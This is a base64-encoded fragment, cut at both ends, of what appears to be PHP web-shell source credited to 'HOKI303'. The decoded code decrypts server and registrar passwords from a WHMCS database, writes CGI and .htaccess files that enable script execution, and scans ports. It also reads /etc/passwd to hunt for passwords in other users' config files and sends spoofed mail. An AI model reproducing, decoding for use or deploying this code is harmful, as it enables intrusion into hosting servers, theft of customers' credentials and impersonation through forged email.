RvQTY3RzVpTmZ0WkhtRzZJVnhKTXZLTmR4bFVNdVlyTzZ6QVIrZnJlNTR1RnRBSzYraFJhYkFBSzB6QmtsMGRwSlhORGpzZnVoeE9yQ3UzSkI0WVNwMFRyNlQ2ZFc2NXdLZExxN1FHY0JNMjhhZElKWVlMSXM1d24wSVZLTGdrRFNKVFRjYU5kbHdDT
0NsSXlUcnlCOTcyVXBZVGtpLzNIWDllbmJOZlMyYkJqcmZENktvUDNOUjhnUzdHOGtXRnlvaUhmemdwNVFVbXVKM3FNa2hsckMrZ0ZIT3ozeFhEdCtRU2VncUVVVy9JQS8ybXhxT3hLb3d3WDlWUmpPRktNRXM4SXpBY1gyTEQyZVRDNG5remNPOG5G
bkM3bFl5MjBqalphMUtRUjZ0Ukt4Qlk5WVRWNllHMGhsT2Y0eGplN0xvSm41Ukpia0o4aER0MG01WVU5YnpaN0wrMmJVMURXRFFaNU9NRXVkcGhjNnozR0dUdy9OcGJyMFlDejFVVlNmTkJQSjZ3VE1sL05pK1VVaGU1WGFpRzJxakJqOVVJSTN3Zk5
sQVVHS1V4Ri9XdEFFWnJ5Z3RZbEJJak1SNFBESFRRdXR0RzdSUGpwQ1FJSzdXcjJGM1hqVU80VFZHd3FFUUVIWks5Z3d0dGg5a3NuU3VoWGlpSkEyazV2dDRhN2pCR2pqNE5DUGM2ZEFBM2EwS0tPQkR2RUR4NTJIRU9Dclduc0libThJRFQvRDcyN3
hxeXhiNFMyUXRUWWJXTkJHdUt3bHFrSEViVGpjWWtOSUhpSW84Z2NEYlBmWjF3dndUZ0xjWWZhQ0FNaU5FSFFEejlnZHF5NmNWNGd3T2hsUFRyZGs5VzV4alZNdkVWRE9oUFpnd29RTnUyNlBrbjk5TjZUNytNRjFLcHhFUW9OZW9ub0IxQllyU1ZWZ
zB3SWVaUlhIb2l4UitHYUk2NmQvR3BGTDkwOXFlQWtJWTV3M1BVTTRkWTdxNVhDYkFSNjBYU25ySlhmZmZjMnUyejBzeFBQQjU5aTJaa1pOZWpZcFBpb09GT0E4Y3AwT1hnMWErYW01b0RhVjRGVjNHTUtJeGliRkY5WlVZdGFDcEw4RHlTVGNnMHEr
V053R0tiVHVKM2ZQaCs1cEFYZEJyMTV4ZThGdDhPeUFjUTJNckdaaHBVUVpzMEtFUXVFYjRaY1BWMURkQmZRR0NIY2J1OXZ0enZaWS96RnF2cU9tQkpNWEtoV21nb0RXQm5Qby9jOGZyeWxoTWZwMUFVSGZ2ZnNnK011NTJ6R0kyekdvMy93YUhwd1N
yd1hkWDM1eEdmWTdleThnZS9RWUgwckFUeFRpMnJDSktkbVg0djNaZ0p1VDc5K3Z4bHVoeXlWZGZxWGdvVEJyLzMyUlUrb1ZBQ3UwaWpPSmJRc0NHV3VWU0pQRDhEMDNnbXgwQllrT0g5OUFNT3RvQXBFTDd1d1prNW5VajFEWDhXWmJuWDdRT2ZRL0
hCVW14emE0eTh4RFNiZ2J1MzhtR2YrUDJBT1NkMHdPTDJjSnE3QjFtZzQ0cyt3UEo0VGZWUk9jbkhWWE1QaVl3Qm1FanQwK0g5QVB6Y1BKTGJaNzBicElOYnpuQ1hPOUJ2Y2toekVmT2U1TlB0U3pxVm1hM2RibXc3ZVZqRkZNY2RoOWFhSGE2b1Jyb
FlUNWJYNjRmdmZqd2puSXRjT2I4ZDBRTVlDN2R4RGVibXZGZmRmNWQ3WXRpZjMwM0UrNE9oMjhsbit4aUw1QXhENlg0Rk51dDJqdE1tN2tkaTZjL0xCOTRpcUt6OGpndjExTlZabz0iKSksXCc8c3RyaW5nPlwnLFwnZXhlY1wnKSknOwppZigkX1BP
U1RbJ2hva2kxJ109PSdwZXJsJyl7JGNvZGUgPSAkcGVybDt9ZWxzZXskY29kZSA9ICRweTt9CmlmKF9fd3JpdGVfZmlsZSgkbmFtZSwkY29kZSkpewpAY2htb2QoJG5hbWUsMDc1NSk7CmVjaG8gJzxpZnJhbWUgc3JjPSInLl9fSE9LSV9EQVRBX0Z
PTERFUl9fLicvY2dpaG9raS8nLiRuYW1lLiciIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjYwMHB4IiBmcmFtZWJvcmRlcj0iMCIgc3R5bGU9Im9wYWNpdHk6MC45O2ZpbHRlcjogYWxwaGEob3BhY2l0eT05KTtvdmVyZmxvdzphdXRvOyI+PC9pZnJhbW
U+JzsKfQp9CmVjaG8gJGRpdjsKaG9raWZvb3RlcigpOwp9CmZ1bmN0aW9uIGhva2lXaG1jcygpewpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwpmdW5jdGlvbiBkZWNyeXB0KCRzdHJpbmcsJGNjX2VuY3J5cHRpb25faGFza
Cl7CiRrZXkgPSBtZDUgKG1kNSAoJGNjX2VuY3J5cHRpb25faGFzaCkpIC4gbWQ1ICgkY2NfZW5jcnlwdGlvbl9oYXNoKTsKJGhhc2hfa2V5ID0gX2hhc2goJGtleSk7CiRoYXNoX2xlbmd0aCA9IHN0cmxlbiAoJGhhc2hfa2V5KTsKJHN0cmluZyA9
IF9fWkdWamIyUmxjZygkc3RyaW5nKTsKJHRtcF9pdiA9IHN1YnN0ciAoJHN0cmluZywgMCwgJGhhc2hfbGVuZ3RoKTsKJHN0cmluZyA9IHN1YnN0ciAoJHN0cmluZywgJGhhc2hfbGVuZ3RoLCBzdHJsZW4gKCRzdHJpbmcpIC0gJGhhc2hfbGVuZ3R
oKTsKJGl2ID0gJG91dCA9ICcnOwokYyA9IDA7CndoaWxlICgkYyA8ICRoYXNoX2xlbmd0aCkKewokaXYgLj0gY2hyIChvcmQgKCR0bXBfaXZbJGNdKSBeIG9yZCAoJGhhc2hfa2V5WyRjXSkpOworKyRjOwp9CiRrZXkgPSAkaXY7CiRjID0gMDsKd2
hpbGUgKCRjIDwgc3RybGVuICgkc3RyaW5nKSkKewppZiAoKCRjICE9IDAgQU5EICRjICUgJGhhc2hfbGVuZ3RoID09IDApKQp7CiRrZXkgPSBfaGFzaCAoJGtleSAuIHN1YnN0ciAoJG91dCwgJGMgLSAkaGFzaF9sZW5ndGgsICRoYXNoX2xlbmd0a
CkpOwp9CiRvdXQgLj0gY2hyIChvcmQgKCRrZXlbJGMgJSAkaGFzaF9sZW5ndGhdKSBeIG9yZCAoJHN0cmluZ1skY10pKTsKKyskYzsKfQpyZXR1cm4gJG91dDsKfQpmdW5jdGlvbiBfaGFzaCgkc3RyaW5nKQp7CmlmKGZ1bmN0aW9uX2V4aXN0cygn
c2hhMScpKQp7CiRoYXNoID0gc2hhMSAoJHN0cmluZyk7Cn0KZWxzZQp7CiRoYXNoID0gbWQ1ICgkc3RyaW5nKTsKfQokb3V0ID0gJyc7CiRjID0gMDsKd2hpbGUgKCRjIDwgc3RybGVuICgkaGFzaCkpCnsKJG91dCAuPSBjaHIgKGhleGRlYyAoJGh
hc2hbJGNdIC4gJGhhc2hbJGMgKyAxXSkpOwokYyArPSAyOwp9CnJldHVybiAkb3V0Owp9Ckhva2lOdW0oOCw5LDEwKTsKZWNobyAiPGNlbnRlcj48YnI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgV0hNQ1MgRGVDb2RlciB8PC9kaXY+PH
A+Ii5nZXRDb25maWdIdG1sKCd3aG1jcycpLiI8L3A+PGZvcm0gb25zdWJtaXQ9XCJnKCdXaG1jcycsbnVsbCx0aGlzLmZvcm1fYWN0aW9uLnZhbHVlLCdkZWNvZGVyJyx0aGlzLmRiX3VzZXJuYW1lLnZhbHVlLHRoaXMuZGJfcGFzc3dvcmQudmFsd
WUsdGhpcy5kYl9uYW1lLnZhbHVlLHRoaXMuY2NfZW5jcnlwdGlvbl9oYXNoLnZhbHVlLHRoaXMuZGJfaG9zdC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIj4KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZm9ybV9hY3Rpb24nIHZhbHVlPScyJz4i
OwokdGFibGUgPSBhcnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX2hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJfaG9zdCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4
gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl91c2VybmFtZSA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl91c2VybmFtZScsICdpZCcgPT
4gJ2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkYl9wYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdkY
l9wYXNzd29yZCcsICdpZCcgPT4gJ2RiX3B3JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfbmFtZSA6ICcsICdpbnB1
dE5hbWUnID0+ICdkYl9uYW1lJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2NjX2VuY3J
5cHRpb25faGFzaCA6ICcsICdpbnB1dE5hbWUnID0+ICdjY19lbmNyeXB0aW9uX2hhc2gnLCAnaWQnID0+ICdjY19lbmNyeXB0aW9uX2hhc2gnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZS
gkdGFibGUpOwplY2hvICI8cD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICcgbmFtZT0nU3VibWl0Jz48L3A+PC9mb3JtPjwvY2VudGVyPiI7CmlmKCRfUE9TVFsnaG9raTUnXSE9JycpewokZGJfaG9zdD0oJF9QT1NUWydob2tpNyddKTsKJ
GRiX3VzZXJuYW1lPSgkX1BPU1RbJ2hva2kzJ10pOwokZGJfcGFzc3dvcmQ9KCRfUE9TVFsnaG9raTQnXSk7CiRkYl9uYW1lPSgkX1BPU1RbJ2hva2k1J10pOwokY2NfZW5jcnlwdGlvbl9oYXNoPSgkX1BPU1RbJ2hva2k2J10pOwplY2hvIF9fcHJl
KCk7CiRjb25uPUBteXNxbGlfY29ubmVjdCgkZGJfaG9zdCwkZGJfdXNlcm5hbWUsJGRiX3Bhc3N3b3JkLCRkYl9uYW1lKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRxdWVyeSA9IG15c3FsaV9xdWVyeSgkY29ubiwiU0VMRUNUICogRlJ
PTSB0YmxzZXJ2ZXJzIik7CiRudW0gPSBteXNxbGlfbnVtX3Jvd3MoJHF1ZXJ5KTsKaWYgKCRudW0gPiAwKXsKZm9yKCRpPTA7ICRpIDw9JG51bS0xOyAkaSsrKXsKJHYgPSBAbXlzcWxpX2ZldGNoX2FycmF5KCRxdWVyeSk7CiRpcGFkZHJlc3MgPS
AkdlsnaXBhZGRyZXNzJ107CiR1c2VybmFtZSA9ICR2Wyd1c2VybmFtZSddOwokdHlwZSA9ICR2Wyd0eXBlJ107CiRhY3RpdmUgPSAkdlsnYWN0aXZlJ107CiRob3N0bmFtZSA9ICR2Wydob3N0bmFtZSddOwplY2hvKCI8Y2VudGVyPjx0YWJsZSBib
3JkZXI9JzEnPiIpOwokcGFzc3dvcmQgPSBkZWNyeXB0ICgkdlsncGFzc3dvcmQnXSwgJGNjX2VuY3J5cHRpb25faGFzaCk7CmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+VHlwZTwvZm9udD48L3RkPjx0ZD4kdHlwZTwv
dGQ+PC90cj48L2I+Iik7CmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+QWN0aXZlPC9mb250PjwvdGQ+PHRkPiRhY3RpdmU8L3RkPjwvdHI+PC9iPiIpOwplY2hvKCI8dHI+PHRkPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZ
GRlwiPkhvc3RuYW1lPC9mb250PjwvdGQ+PHRkPiRob3N0bmFtZTwvdGQ+PC90cj48L2I+Iik7CmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+SXA8L2ZvbnQ+PC90ZD48dGQ+JGlwYWRkcmVzczwvdGQ+PC90cj48L2I+Ii
k7CmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+VXNlcm5hbWU8L2ZvbnQ+PC90ZD48dGQ+JHVzZXJuYW1lPC90ZD48L3RyPjwvYj4iKTsKZWNobygiPHRyPjx0ZD48Yj48Zm9udCBjb2xvcj1cIiNGRkZGRkZcIj5QYXNzd
29yZDwvZm9udD48L3RkPjx0ZD4kcGFzc3dvcmQ8L3RkPjwvdHI+PC9iPiIpOwplY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsKfQokcXVlcnkxID0gQG15c3FsaV9xdWVyeSgkY29ubiwiU0VMRUNUICogRlJPTSB0YmxyZWdpc3RyYXJz
Iik7CiRudW0xID0gQG15c3FsaV9udW1fcm93cygkcXVlcnkxKTsKaWYgKCRudW0xID4gMCl7CmZvcigkaT0wOyAkaSA8PSRudW0xIC0xOyAkaSsrKXsKJHYgPSBteXNxbGlfZmV0Y2hfYXJyYXkoJHF1ZXJ5MSk7CiRyZWdpc3RyYXIgPSAkdlsncmV
naXN0cmFyJ107CiRzZXR0aW5nID0gJHZbJ3NldHRpbmcnXTsKJHZhbHVlID0gZGVjcnlwdCgkdlsndmFsdWUnXSwgJGNjX2VuY3J5cHRpb25faGFzaCk7CmlmICgkdmFsdWU9PSIiKXsKJHZhbHVlPTA7Cn0KZWNobygiPGNlbnRlcj5Eb21haW4gUm
VzZWxsZXIgPGJyPjxjZW50ZXI+Iik7CmVjaG8oIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0nMSc+Iik7CmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjNjdBQkRGXCI+UmVnaXN0ZXI8L2ZvbnQ+PC90ZD48dGQ+JHJlZ2lzdHJhcjwvdGQ+P
C90cj48L2I+Iik7CmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjNjdBQkRGXCI+U2V0dGluZzwvZm9udD48L3RkPjx0ZD4kc2V0dGluZzwvdGQ+PC90cj48L2I+Iik7CmVjaG8oIjx0cj48dGQ+PGI+PGZvbnQgY29sb3I9XCIjNjdBQkRG
XCI+VmFsdWU8L2ZvbnQ+PC90ZD48dGQ+JHZhbHVlPC90ZD48L3RyPjwvYj4iKTsKZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7Cn0KfQp9ZWxzZXtfX2FsZXJ0KCc8Zm9udCBjb2xvcj0icmVkIj50YmxzZXJ2ZXJzIGlzIEVtcHR5Li4
uITwvZm9udD4nKTt9Owp9CmVjaG8gIjwvZGl2PiI7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBob2tpcG9ydHNjYW5uZXIoKXsKaG9raWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb2
50X2hlYWRlciI+fCBQb3J0IFNjYW5lciB8PC9kaXY+PC9wPgo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBvbnN1Ym1pdD0iZyhcJ3BvcnRzY2FubmVyXCcsbnVsbCxudWxsLHRoaXMuc3RhcnQudmFsdWUsdGhpcy5lbmQudmFsdWUsdGhpc
y5ob3N0LnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InkiIHZhbHVlPSJwaHB0b29scyI+CjxkaXYgY2xhc3M9InR4dGZvbnQiPkhvc3Q6IDwvZGl2PiA8aW5wdXQgaWQ9InRleHQiIHR5cGU9InRleHQi
IG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiLz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+UG9ydCBzdGFydDogPC9kaXY+IDxpbnB1dCBpZD0idGV4dCIgc2l6ZT0iNSIgdHlwZT0idGV4dCIgIG5hbWU9InN0YXJ0IiB2YWx1ZT0iODAiLz4KPGR
pdiBjbGFzcz0idHh0Zm9udCI+UG9ydCBlbmQ6IDwvZGl2PiA8aW5wdXQgaWQ9InRleHQiIHNpemU9IjUiIHR5cGU9InRleHQiIG5hbWU9ImVuZCIgdmFsdWU9IjgwIi8+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSIgIiAvPgo8L2Zvcm0+PC
9jZW50ZXI+PGJyPic7CiRzdGFydCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydob2tpMiddKTsKJGVuZCA9IHN0cmlwX3RhZ3MoJF9QT1NUWydob2tpMyddKTsKJGhvc3QgPSBzdHJpcF90YWdzKCRfUE9TVFsnaG9raTQnXSk7CmlmKGlzc2V0KCRfUE9TV
FsnaG9raTQnXSkgJiYgaXNfbnVtZXJpYygkX1BPU1RbJ2hva2kzJ10pICYmIGlzX251bWVyaWMoJF9QT1NUWydob2tpMiddKSl7CmVjaG8gX19wcmUoKTsKJHBhY2tldENvbnRlbnQgPSAiR0VUIC8gSFRUUC8xLjFcclxuXHJcbiI7CmlmKGN0eXBl
X3hkaWdpdCgkcGFja2V0Q29udGVudCkpJHBhY2tldENvbnRlbnQgPSBAcGFjaygiSCoiICwgJHBhY2tldENvbnRlbnQpOwplbHNlewokcGFja2V0Q29udGVudCA9IHN0cl9yZXBsYWNlKGFycmF5KCJcciIsIlxuIiksICIiLCAkcGFja2V0Q29udGV
udCk7CiRwYWNrZXRDb250ZW50ID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxcciIsIlxcbiIpLCBhcnJheSgiXHIiLCAiXG4iKSwgJHBhY2tldENvbnRlbnQpOwp9CmZvcigkaSA9ICRzdGFydDsgJGk8PSRlbmQ7ICRpKyspewokc29jayA9IEBmc29ja2
9wZW4oJGhvc3QsICRpLCAkZXJybm8sICRlcnJzdHIsIDMpOwppZigkc29jayl7CnN0cmVhbV9zZXRfdGltZW91dCgkc29jaywgNSk7CmZ3cml0ZSgkc29jaywgJHBhY2tldENvbnRlbnQuIlxyXG5cclxuXHgwMCIpOwokY291bnRlciA9IDA7CiRtY
Xh0cnkgPSAxOwokYmluID0gIiI7CmRvewokbGluZSA9IGZnZXRzKCRzb2NrLCAxMDI0KTsKaWYodHJpbSgkbGluZSk9PSIiKSRjb3VudGVyKys7CiRiaW4gLj0gJGxpbmU7Cn13aGlsZSgkY291bnRlcjwkbWF4dHJ5KTsKZmNsb3NlKCRzb2NrKTsK
ZWNobyAiPGNlbnRlcj48cD5Qb3J0IDxmb250IHN0eWxlPSdjb2xvcjojREUzRTNFJz4kaTwvZm9udD4gaXMgb3BlbjwvcD4iOwplY2hvICI8cD48dGV4dGFyZWEgc3R5bGU9J2hlaWdodDoxNDBweDt3aWR0aDo1MCU7Jz4iLiRiaW4uIjwvdGV4dGF
yZWE+PC9wPjwvY2VudGVyPiI7Cn0KZmx1c2goKTsKfQp9CmVjaG8gJzwvZGl2Pic7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBob2tpY2dpaHRhY2Nlc3MoJG0sJGQ9JycsICRzeW1uYW1lPWZhbHNlKXsKJHJlYWRtZSA9ICIiOwppZigkc3ltbm
FtZSl7JHJlYWRtZT0iXG5SZWFkbWVOYW1lICIudHJpbSgkc3ltbmFtZSk7fQppZigkbT09J2NnaScpewokY29kZSA9ICIjQ29kZWQgQnkgS2lzZSBSeW91bmkgJiBIT0tJMzAzXG5PcHRpb25zIEZvbGxvd1N5bUxpbmtzIE11bHRpVmlld3MgSW5kZ
XhlcyBFeGVjQ0dJXG5BZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5ob2tpXG5BZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmhva2kiOwp9ZWxzZWlmKCRtPT0nc3ltJyl7CiRjb2RlID0gIiNDb2RlZCBCeSBLaXNlIFJ5b3VuaSAmIEhPS0kz
MDNcbk9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rc1xuRGlyZWN0b3J5SW5kZXgga2lzZXJ5b3VuaS5waHRtXG5BZGRUeXBlIHRleHQvcGxhaW4gcGhwIGh0bWwgcGhwNCBwaHRtbFxuQWRkSGFuZGxlciB0ZXh0L3BsYWluIHBocCBodG1sIHB
ocDQgcGh0bWx7JHJlYWRtZX1cbk9wdGlvbnMgYWxsIjsKfWVsc2VpZigkbT09J3NodG1sJyl7CiRjb2RlID0gIk9wdGlvbnMgK0luY2x1ZGVzXG5BZGRUeXBlIHRleHQvaHRtbCAuc2h0bWxcbkFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAuc2h0bW
wiOwp9CkBfX3dyaXRlX2ZpbGUoJGQgLiAiLmh0YWNjZXNzIiwgJGNvZGUpOwp9CmZ1bmN0aW9uIGhva2liYXNlZGlyKCl7Cmhva2loZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPgo8Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfa
GVhZGVyIj58IE9wZW4gQmFzZSBEaXIgfDwvZGl2PjwvcD48L2NlbnRlcj4nOwokcGFzc3dkID0gX2hva2lfZmlsZSgnL2V0Yy9wYXNzd2QnKTsKaWYoaXNfYXJyYXkoJHBhc3N3ZCkpewokdXNlcnMgPSBhcnJheSgpOwokbWFrZXB3ZCA9IGhva2lN
YWtlUHdkKCk7CiRiYXNlZGlyID0gQGluaV9nZXQoJ29wZW5fYmFzZWRpcicpOwokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZihfaG9raV9jYW5fcnVuQ29tbWFuZCh0cnVlLGZhbHNlKSYmKCRiYXNlZGlyfHwkc2FmZV9tb2R
lKSl7CiRiYXNoID0gImZaQlBTd014RU1YUHphY1l4OWp1Z2t2WTlsYnBUUTllRlU5TldkWWsyd1lrV1pLc2dtdSt1OU5hUzhFL2N3Z0RML04rTSsveVFqeGJKK0tPM2Q0L3JIak51c0dwWkwyRG1FSVRUUC9TS2xPVUl3T3FOVlR2Z0x4RzJNQjBDc0
drSVRpb3o3WDVQOXJpTjYwaHpoSFR2TFluNUlvWGZiQXVkWUJYVVVxSFg5d1BpRVpEWlFDajRPTTgwN1BJWW92bHdldkh4UGlIZTBhV21WRTdmN0JhUzRXczh3RXNXQWU4VUVPQ1NpK2g2bW9RSmluUnR6Rys2ZklHdEdlVHA4YzdDcW80aTRkQUZCN
3h4aUdha1BkZ1N4dE42T3hBL1g3Z2VQazNVdElQaWRkTWUyZE9lOHdRTjdOUCI7CiR0bXBfcGF0aCA9IGhva2lXcml0ZVRvY2dpYXBpKCJiYXNlZGlyLmhva2kiLCRiYXNoKTsKJGJhc2hfdXNlcnMgID0gaG9raUV4KCJjZCAiLiR0bXBfcGF0aC4i
L2hva2ljZ2lhcGk7c2ggYmFzZWRpci5ob2tpICIuJG1ha2Vwd2QsZmFsc2UsdHJ1ZSx0cnVlKTsKJHVzZXJzID0ganNvbl9kZWNvZGUoJGJhc2hfdXNlcnMsIHRydWUpOwokeD1jb3VudCgkdXNlcnMpOwppZigkeD49Mil7YXJyYXlfcG9wKCR1c2V
ycyk7LS0keDt9Cn0KaWYoISRiYXNlZGlyJiYhJHNhZmVfbW9kZSl7CiR4PTA7CmZvcmVhY2goJHBhc3N3ZCBhcyAkc3RyKXsKJHBvcyA9IHN0cnBvcygkc3RyLCc6Jyk7CiR1c2VybmFtZSA9IHN1YnN0cigkc3RyLDAsJHBvcyk7CiRkaXJ6ID0gc3
RyX3JlcGxhY2UoInt1c2VyfSIsICR1c2VybmFtZSwgJG1ha2Vwd2QpOwppZigoJHVzZXJuYW1lICE9ICcnKSl7CmlmIChAaXNfcmVhZGFibGUoJGRpcnopKXsKYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJuYW1lKTsKJHgrKzsKfX19Cn0KZWNobyAnP
GJyPjxicj4nOwplY2hvICI8Yj48Zm9udCBjb2xvcj1cIiMwMEEyMjBcIj5bK10gRm91bmRlZCAiLnNpemVvZigkcGFzc3dkKS4iIGVudHJ5cyBpbiAvZXRjL3Bhc3N3ZFxuIi4iPGJyIC8+PC9mb250PjwvYj4iOwplY2hvICI8Yj48Zm9udCBjb2xv
cj1cIiNGRkZGRkZcIj5bK10gRm91bmRlZCAiLiR4LiIgcmVhZGFibGUgIi5zdHJfcmVwbGFjZSgie3VzZXJ9IiwgIioiLCAkbWFrZXB3ZCkuIiBkaXJlY3Rvcmllc1xuIi4iPGJyIC8+PC9mb250PjwvYj4iOwplY2hvICI8Yj48Zm9udCBjb2xvcj1
cIiNGRjAwMDBcIj5bfl0gU2VhcmNoaW5nIGZvciBwYXNzd29yZHMgaW4gY29uZmlnIGZpbGVzLi4uXG5cbiIuIjxiciAvPjxiciAvPjxiciAvPjwvZm9udD48L2I+IjsKZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpewppZihlbXB0eSgkdXNlcikpY2
9udGludWU7CiRwYXRoID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICR1c2VyLCAkbWFrZXB3ZCk7CmVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0IG9uc3VibWl0PSdnKFwiRmlsZXNNYW5cIix0aGlzLmMudmFsdWUsXCJcIik7cmV0dXJuIGZhbHNlOyc+P
HNwYW4+PGZvbnQgY29sb3I9IzI3OTc5Qj5DaGFuZ2UgRGlyIDxmb250IGNvbG9yPSNGRkZGMDE+Li46OiA8L2ZvbnQ+PGZvbnQgY29sb3I9cmVkPjxiPiR1c2VyPC9iPjwvZm9udD48Zm9udCBjb2xvcj0jRkZGRjAxPiA6Oi4uPC9mb250PjwvZm9u
dD48L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0nZm9vdHRhYmxlJyB0eXBlPXRleHQgbmFtZT1jIHZhbHVlPSckcGF0aCc+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+PC9mb3JtPjxicj4iOwp9Cn1lbHNle2VjaG8oJzxiPiA8Y2VudGVyPjx
mb250IGNvbG9yPSIjRkZGRkZGIj5bLV0gRXJyb3IgOiBjb3VkbmB0IHJlYWQgL2V0Yy9wYXNzd2QgWy1dPC9mb250PjwvY2VudGVyPjwvYj4nKTt9CmVjaG8gJzxicj48YnI+PC9iPic7CmVjaG8gJzwvZGl2Pic7Cmhva2lmb290ZXIoKTsKfQpmdW
5jdGlvbiBob2tpbWFpbCgpewpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwpIb2tpTnVtKDgsOSwxMCk7CmVjaG8gJzxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRmFrZSBNYWlsIHw8L2Rpdj48L
3A+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25zdWJtaXQ9ImcoXCdtYWlsXCcsbnVsbCx0aGlzLm1haWxfdG8udmFsdWUsdGhpcy5tYWlsX2Zyb20udmFsdWUsdGhpcy5tYWlsX3N1YmplY3QudmFsdWUsXCc+PlwnLHRoaXMubWFpbF9j
b250ZW50LnZhbHVlLHRoaXMuY291bnRfbWFpbC52YWx1ZSx0aGlzLm1haWxfYXR0YWNoLnZhbHVlKTsgcmV0dXJuIGZhbHNlOyI+JzsKJHRhYmxlID0gYXJyYXkoCid0ZDEnID0+IGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0
+ICdNYWlsIFRvIDogJywgJ2lucHV0TmFtZScgPT4gJ21haWxfdG8nLCAnaW5wdXRWYWx1ZScgPT4gJ3RhcmdldEBmYmkuZ292JywgJ2lucHV0U2l6ZScgPT4gJzYwJywncGxhY2Vob2xkZXInID0+IHRydWUpLAondGQyJyA9PiBhcnJheSgnY29sb3
InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRnJvbSA6ICcsICdpbnB1dE5hbWUnID0+ICdtYWlsX2Zyb20nLCAnaW5wdXRWYWx1ZScgPT4gJ3NlY0Bnb29nbGUuY29tJywgJ2lucHV0U2l6ZScgPT4gJzYwJywgJ3BsYWNlaG9sZGVyJyA9PiB0c
nVlKSwKJ3RkMycgPT4gYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1N1YmplY3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnbWFpbF9zdWJqZWN0JywgJ2lucHV0VmFsdWUnID0+ICd5b3VyIHNpdGUgaGFja2VkIGJ5IG1lJywg
